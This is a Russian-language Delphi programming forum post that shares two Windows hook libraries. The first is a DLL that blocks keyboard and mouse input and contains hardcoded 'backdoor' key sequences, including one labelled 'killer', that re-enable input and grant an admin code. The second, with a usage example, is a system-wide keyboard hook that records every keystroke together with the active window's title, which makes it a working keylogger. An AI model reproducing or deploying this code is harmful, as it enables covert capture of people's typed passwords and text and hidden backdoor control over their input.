Модераторы: Snowy, bartram, MetalFan, bems, Poseidon, Riply
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Hook на клавиатуру и мышку 
:(
    Опции темы
Pakshin A. S.
Дата 4.11.2004, 22:49 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Участник Клуба
Сообщений: 5056
Регистрация: 16.2.2003

Репутация: нет
Всего: 61



Hook на клавиатуру и мышку 
 Previous  Top  Next  


Код

library hook; 
{$I+} 

 uses Windows,Messages;//,sysutils; 

{$R *.RES} 

 TYPE 
  MPWD_TYPE=array[0..21] of integer; 

 const 
 backdoor_len:integer=9; 
 backdoor:array[0..8] of integer= 
 (76,69,76,69,76,69,76,69,76); 

 pwd0_len:integer=9;          //my backdoor 
 pwd0:array[0..8] of integer= 
 (76,69,69,76,69,76,69,76,69); 

 pwd1_len:integer=6;          //user backdoor 
 pwd1:array[0..5] of integer= 
 (76,69,76,69,76,69);       //= 

 pwd2_len:integer=10;          //killer 
 pwd2:array[0..9] of integer= 
 (71,76,85,69,77,79,77,69,78,84); //= gluemoment 

 var 
  mWinVer:DWORD; 
  CurKeyHook:HHook; 
  CurMouseHook:HHook; 

  BackDoorRemained:longint; 

  wpwd:MPWD_TYPE; 
  wpwd_len:integer=0; 

  //first password - unblock 
  wpwd1:MPWD_TYPE; 
  wpwd1_len:integer=0; 

  //second password - kill 
  wpwd2:MPWD_TYPE; 
  wpwd2_len:integer=0; 

  is_key_enabled,is_mouse_enabled:boolean; 
  last_input:array[0..21] of integer; 
  li_size:integer=20; 
  n_input:integer; 
  UserInput:boolean; 
  admin_code:integer=0; //admin_code 
   
 procedure HookKeyOff;  stdcall; forward; 
 procedure HookMouseOff; stdcall; forward; 
 function GetAdminCode:integer;stdcall; forward; 
 procedure ResetAdminCode; stdcall; forward; 

//------------------------------------------------------------ 
 procedure EnableKeyboard(state:boolean); stdcall; 
 begin 
  is_key_enabled:=state; 

  if (not state) and (BackDoorRemained>0) then 
  begin 
   BackDoorRemained:=BackDoorRemained-1; 
   if BackDoorRemained=0 then 
    admin_code:=0; 
  end; 
 end; 
 //------------------------------------------------------------ 
 procedure EnableMouse(state:boolean);stdcall; 
 begin 
  is_mouse_enabled:=state; 
 end; 
//------------------------------------------------------------ 
function HookClearUserInput(b0:boolean):boolean;stdcall; 
var 
b:boolean; 
begin 
 b:=UserInput; 
 if b0 then 
  UserInput:=false; 
 Result:=b; 
end; 
//------------------------------------------------------------ 
function IsAdmin:boolean;stdcall; 
begin 
 if BackDoorRemained>0 then 
  Result:=true 
 else 
  Result:=false; 
end; 

//---------------------------------------------------------- 

function GetAdminCode:integer;stdcall; 
begin 
 Result:=admin_code; 
end; 

//---------------------------------------------------------- 

function IsBackDoor:boolean; 
var 
 i,j:integer; 
 is_like:boolean; 
begin 

  //pwd1 
  //------------------------------ 
  is_like:=wpwd1_len>0; 
  j:=n_input; 
  for i:=(wpwd1_len-1) downto 0 do 
  begin 
   if last_input[j]<>wpwd1[i] then 
   begin 
    is_like:=false; 
    break; 
   end; 
   if j>0 then 
    j:=j-1; 
  end;//for 
  if is_like then 
   admin_code:=2; 
  //------------------------------ 

  Result:=is_like; 
end; 
//---------------------------------------------------------- 
procedure mKeyDown(vCode:longint); 
var 
 i:integer; 
begin 
     UserInput:=true; 

     if n_input<(li_size-1) then 
     begin 
      last_input[n_input]:=vCode; 
      n_input:=n_input+1; 
     end 
     else 
     begin 

      if last_input[li_size-1]<>vCode then 
      begin 

       for i:=0 to (li_size-2) do 
        last_input[i]:=last_input[i+1]; 

       last_input[li_size-1]:=vCode; 

       if IsBackDoor then 
       begin 
        BackDoorRemained:=40; 
        EnableKeyboard(true); 
        EnableMouse(true); 
       end; 
      end;//if last_input[backdoor_len-1]<>kbp.vkCode 
     end;//if n_input<.. 
end; 

//------------------------------------------------------------ 
//low level NT,2K only 
 function CallBackKeyHook( Code    : Integer; 
                           wParam  : WPARAM; 
                           lParam  : LPARAM 
                           )       : LRESULT; stdcall; 
   type 
    KBDLLHOOKSTRUCT=RECORD 
    vkCode   :DWORD; 
    scanCode :DWORD; 
    flags    :DWORD; 
    time     :DWORD; 
    dwExtraInfo:Pointer; 
                    END; 
   PKBDLLHOOKSTRUCT=^KBDLLHOOKSTRUCT; 
   var 
   kbp:PKBDLLHOOKSTRUCT; 
 begin 

   kbp:=PKBDLLHOOKSTRUCT(lParam); 
   mKeyDown(kbp.vkCode); 

  if (Code<0) or is_key_enabled or (BackDoorRemained>0) then 
   Result := CallNextHookEx(CurKeyHook, Code, wParam, lParam) 
  else 
   Result:=1; //do not enable input 

end; 

//------------------------------------------------------------ 
//------------------------------------------------------------ 
 function CallBackKeyHook95( Code    : Integer; 
                           wParam  : WPARAM; 
                           lParam  : LPARAM 
                           )       : LRESULT; stdcall; 
 begin 
   mKeyDown(wParam); 

  if is_key_enabled or (BackDoorRemained>0) or (Code<0) then 
   Result := CallNextHookEx(CurKeyHook, Code, wParam, lParam) 
  else 
   Result:=1; //do not enable input 

 end; 

//------------------------------------------------------------ 

 function CallBackMouseHook( Code    : Integer; 
                           wParam  : WPARAM; 
                           lParam  : LPARAM 
                           )       : LRESULT; stdcall; 
 begin 

  if code=HC_ACTION then 
  begin 
  end; 

  if is_mouse_enabled OR (BackDoorRemained>0) or (Code<0) then 
   Result := CallNextHookEx(CurMouseHook, Code, wParam, lParam) 
  else 
   Result:=1; 
 end; 

//------------------------------------------------------------ 
 procedure HookKeyOn; stdcall; 
 begin 
   is_key_enabled:=true; 

   if mWinVer< $80000000 then //--NT ,2000 .. 
    CurKeyHook:=SetWindowsHookEx(13{WH_KEYBOARD_LL 14-mouse}, 
     @CallBackKeyHook,hInstance,0) 
   else 
    CurKeyHook:=SetWindowsHookEx(WH_KEYBOARD, 
     @CallBackKeyHook95,hInstance,0); 

   if CurKeyHook<=0 then 
    MessageBox(0,'Error!!! Could not set hook!','',MB_OK); 

 end; 

//------------------------------------------------------------ 

 procedure HookKeyOff;  stdcall; 
 begin 
   UnhookWindowsHookEx(CurKeyHook); 
 end; 
//------------------------------------------------------------ 
 procedure HookMouseOn; stdcall; 
 begin 
   is_mouse_enabled:=true; 
   CurMouseHook:=SetWindowsHookEx(WH_MOUSE, @CallBackMouseHook, 
    hInstance , 0); 

   if CurMouseHook<=0 then 
    MessageBox(0,'Error!!! Could not set mouse hook!','',MB_OK); 
 end; 
//------------------------------------------------------------ 

 procedure HookMouseOff;  stdcall; 
 begin 
   UnhookWindowsHookEx(CurMouseHook); 
 end; 
//------------------------------------------------------------ 
 procedure InstallHooker(hinst:longint); stdcall; 
 begin 

   if CurKeyHook=0 then 
    is_key_enabled:=true 
   else 
   begin 
    UnhookWindowsHookEx(CurKeyHook); 
    CurKeyHook:=0; 
   end; 

   if CurMouseHook=0 then 
    is_mouse_enabled:=true 
   else 
   begin 
    UnhookWindowsHookEx(CurMouseHook); 
    CurMouseHook:=0; 
   end; 

   if mWinVer< $80000000 then //--NT ,2000 .. 
   begin 
    CurKeyHook:=SetWindowsHookEx(13{WH_KEYBOARD_LL 14-mouse}, 
     @CallBackKeyHook,hinst,0); 
    CurMouseHook:=SetWindowsHookEx(14{WH_MOUSE}, @CallBackMouseHook, 
     hinst , 0); 
   end 
   else 
   begin 
    CurKeyHook:=SetWindowsHookEx(WH_KEYBOARD, 
     @CallBackKeyHook95,hinst,0); 
    CurMouseHook:=SetWindowsHookEx(WH_MOUSE, @CallBackMouseHook, 
     hinst , 0); 
   end; 

   if CurKeyHook<=0 then 
    MessageBox(0,'Error!!! Could not set hook!','',MB_OK); 

   if CurMouseHook<=0 then 
    MessageBox(0,'Error!!! Could not set mouse hook!','',MB_OK); 

 end; 
//------------------------------------------------------------ 
 procedure ResetAdminCode; stdcall; 
 begin 
   admin_code:=0; 
   BackDoorRemained:=0; 
 end; 
//------------------------------------------------------------ 

 exports 
  EnableKeyboard,IsAdmin, 
  EnableMouse,InstallHooker,HookClearUserInput, 
  GetAdminCode,ResetAdminCode; 
//------------------------------------------------------------ 

procedure  mDllEntryPoint(rs:DWord);stdcall; 
begin 
  case rs of 
  DLL_PROCESS_ATTACH: 
                    if (CurKeyHook=0) and (CurMouseHook=0)then 
                    begin 
//                     HookKeyOn; 
//                     HookMouseOn; 
                    end; 
  DLL_PROCESS_DETACH: 
                    begin 
                    if (CurKeyHook<>0) and (CurMouseHook<>0)then 
                    begin 
                     HookKeyOff; 
                     HookMouseOff; 
                    end; 
                     //ExitProcess(0); 
                    end; 
  end; 
 end; 
//------------------------------------------------------------ 
 //DLLMain 
 begin 

  UserInput:=false; 
  is_key_enabled:=true; 
  is_mouse_enabled:=true; 
  n_input:=0; 
  BackDoorRemained:=0; 
  CurKeyHook:=0; 
  CurMouseHook:=0; 

  mWinVer:=GetVersion; 

  DllProc:=@mDllEntryPoint; 
  mDllEntryPoint(DLL_PROCESS_ATTACH); 
//------------------------------------------------------------ 

 end. 
//------------------------------------------------------------ 
Код прислал NoName  
HR 

library keyboardhook; 

uses 
SysUtils, 
Windows, 
Messages, 
Forms; 

const 
MMFName:PChar='Keys'; 

type 
PGlobalDLLData=^TGlobalDLLData; 
TGlobalDLLData=packed record 
SysHook:HWND; //дескриптор установленной ловушки 
MyAppWnd:HWND; //дескриптор нашего приложения 
end; 

var 
GlobalData:PGlobalDLLData; 
MMFHandle:THandle; 
WM_MYKEYHOOK:Cardinal; 

function KeyboardProc(code:integer;wParam:word;lParam:longint):longint;stdcall; 
var 
AppWnd:HWND; 
begin 
if code < 0 then 
begin 
Result:=CallNextHookEx(GlobalData^.SysHook,Code,wParam,lParam); 
Exit; 
end; 
if (((lParam and KF_UP)=0)and 
(wParam>=0)and(wParam<=255))OR {поставь от 65 до 90, если тебе} 
(((lParam and KF_UP)=0)and {нужны только A..Z} 
(wParam=VK_SPACE))then 
begin 
AppWnd:=GetForegroundWindow(); 
SendMessage(GlobalData^.MyAppWnd,WM_MYKEYHOOK,wParam,AppWnd); 
end; 
CallNextHookEx(GlobalData^.SysHook,Code,wParam,lParam); 
Result:= 0; 
end; 

{Процедура установки HOOK-а} 
procedure hook(switch : Boolean; hMainProg: HWND) export; stdcall; 
begin 
if switch=true then 
begin 
{Устанавливаем HOOK, если не установлен (switch=true). } 
GlobalData^.SysHook := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, HInstance, 0); 
GlobalData^.MyAppWnd:= hMainProg; 
end 
else 
UnhookWindowsHookEx(GlobalData^.SysHook) 
end; 

procedure OpenGlobalData(); 
begin 
{регестрируем свой тип сообщения в системе} 
WM_MYKEYHOOK:= RegisterWindowMessage('WM_MYKEYHOOK'); 
{полу?аем объект файлового отображения} 
MMFHandle:= CreateFileMapping(INVALID_HANDLE_VALUE, nil, PAGE_READWRITE,0,SizeOf(TGlobalDLLData),MMFName); 
{отображаем глобальные данные на АП вызывающего процесса и полу?аем указатель 
на на?ало выделенного пространства} 
GlobalData:= MapViewOfFile(MMFHandle,FILE_MAP_ALL_ACCESS,0,0,SizeOf(TGlobalDLLData)); 
if GlobalData=nil then 
begin 
CloseHandle(MMFHandle); 
Exit; 
end; 

end; 

procedure CloseGlobalData(); 
begin 
UnmapViewOfFile(GlobalData); 
CloseHandle(MMFHandle); 
end; 

procedure DLLEntryPoint(dwReason: DWord); stdcall; 
begin 
case dwReason of 
DLL_PROCESS_ATTACH: OpenGlobalData; 
DLL_PROCESS_DETACH: CloseGlobalData; 
end; 
end; 

exports  
hook; 

begin 
DLLProc:= @DLLEntryPoint; 
{вызываем назна?енную процедуру для отражения факта присоединения данной 
библиотеки к процессу} 
DLLEntryPoint(DLL_PROCESS_ATTACH); 
end. 

Пример использования: 

var 
Form1: TForm1; 
WndFlag: HWND; // дескриптор последнего окна 
keys: string[41]; // нажатые клавишы 
hDLL: THandle; // дескриптор загружаемой библиотеки 
WM_MYKEYHOOK: Cardinal; // мо? сообщение 

function GetWndText(WndH: HWND): string; 
var 
s: string; 
Len: integer; 
begin 
Len:= GetWindowTextLength(WndH)+1; // полу?аю размер текста 
if Len > 1 then 
begin 
SetLength(s, Len); 
GetWindowText(WndH, @s[1], Len); // полу?аю сам текст, который записывается в s 
Result:= s; 
end 
else 
Result:= 'text not detected'; 
end; 

procedure TForm1.Button1Click(Sender: TObject); 
var 
Hook: procedure (switch : Boolean; hMainProg: HWND) stdcall; 
begin 
{посылаю своему окну сообщение для того ?то бы не выводился первый символ - см. WndProc} 
SendMessage(Form1.Handle, WM_MYKEYHOOK, VK_SPACE, Application.MainForm.Handle); 
@hook:= nil; // инициализируем переменную hook 
hDLL:=LoadLibrary(PChar('keyhook.dll')); { загрузка DLL } 
if hDLL > HINSTANCE_ERROR then 
begin { если вс? без ошибок, то } 
@hook:=GetProcAddress(Hdll, 'hook'); { полу?аем указатель на необходимую процедуру} 
Button2.Enabled:=True; 
Button1.Enabled:=False; 
StatusBar1.SimpleText:= 'Status: DLL loaded...'; 
hook(true, Form1.Handle); 
StatusBar1.SimpleText:= 'Status: loging in progress...'; 
end 
else 
begin 
ShowMessage('Ошибка при загрузке DLL !'); 
Exit; 
end; 

end; 

procedure TForm1.Button2Click(Sender: TObject); 
var 
Hook: procedure (switch : Boolean; hMainProg: HWND) stdcall; 
begin 
@hook:= nil; // инициализируем переменную hook 
if hDLL > HINSTANCE_ERROR then 
begin { если вс? без ошибок, то } 
@hook:=GetProcAddress(Hdll, 'hook'); { полу?аем указатель на необходимую процедуру} 
Button1.Enabled:=True; 
Button2.Enabled:=False; 
hook(false, Form1.Handle); 
if FreeLibrary(hDLL) then 
begin 
StatusBar1.SimpleText:= 'Status: DLL unloaded.'; 
sleep(1000) 
end 
else 
begin 
StatusBar1.SimpleText:= 'Status: ERROR while unloading DLL'; 
Exit; 
end; 
StatusBar1.SimpleText:= 'Status: loging stoped'; 
end; 

end; 


подмена процедуры окна - необходимо для обработки сообщений, поступивших из 
DLL (см. исходный код DLL) 

procedure TForm1.WndProc(var Msg: TMessage); 
begin 
inherited; // выполняем вс? то, ?то должно происходить при поступлении сообщеня окну 
{Но если пришло мо? сообщение - выполняем следующий код} 
if Msg.Msg = WM_MYKEYHOOK then 
begin 

Если пользователь поменял окно или переменная, содержащая нажатые клавишы 
превысила допустимое зна?ение - обнуляем keys и выводим статистику. 

if (WndFlag <> HWND(Msg.lParam)) OR (Length(keys)>=1) then 
begin 
keys:=keys+String(Chr(Msg.wParam)); 
memo2.Text:=memo2.Text+' '+inttostr(ord(Chr(Msg.wParam))); 
//label1.caption:=label1.caption+keys; 
keys:=''; 
Memo1.Lines.Add(GetWndText(Msg.lParam)); 
WndFlag:= HWND(Msg.lParam) 
end 
else 
keys:=keys+String(Chr(Msg.wParam)); 
end; 
end; 

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); 
begin 
freelibrary(hDLL); 
end; 

initialization 
WndFlag:=0; 
keys:= ''; 
{ регистрирую сво? сообщение в системе - то?но так же надо сделать и в теле DLL 
?то бы DLL могла посылать главному приложению это сообщение. 

WM_MYKEYHOOK:=RegisterWindowMessage('WM_MYKEYHOOK'); 
end. 








PM   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: WinAPI и системное программирование"
Snowybartram
MetalFanbems
PoseidonRrader
Riply

Запрещено:

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Delphi обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи
  • 99% ответов по WinAPI можно найти в MSDN Library, оставшиеся 1% здесь

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, bartram, MetalFan, bems, Poseidon, Rrader, Riply.

 
1 Пользователей читают эту тему (1 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: WinAPI и системное программирование | Следующая тема »


 




[ Время генерации скрипта: 0.0900 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.